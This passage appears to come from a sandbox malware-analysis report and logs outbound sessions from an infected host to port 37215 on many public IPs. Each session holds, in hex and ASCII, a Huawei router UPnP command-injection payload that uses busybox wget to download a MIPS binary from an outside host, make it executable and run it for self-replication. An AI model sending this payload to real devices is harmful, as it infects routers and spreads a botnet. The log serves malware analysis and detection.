2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	41636	157.216.161.59	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408226967 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	55730	37.110.59.42	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408226967 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	38436	157.52.23.60	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408595085 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	57162	157.137.75.124	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408596039 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	51150	41.188.32.205	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408596039 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	60734	197.40.93.165	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408596992 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	48950	197.136.233.151	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408596039 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	55560	197.81.117.241	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408596992 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	42312	41.65.98.19	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.408596992 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	54852	197.30.62.141	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.409018993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	35070	141.92.189.24	37215

Timestamp	Bytes transferred	Direction	Data
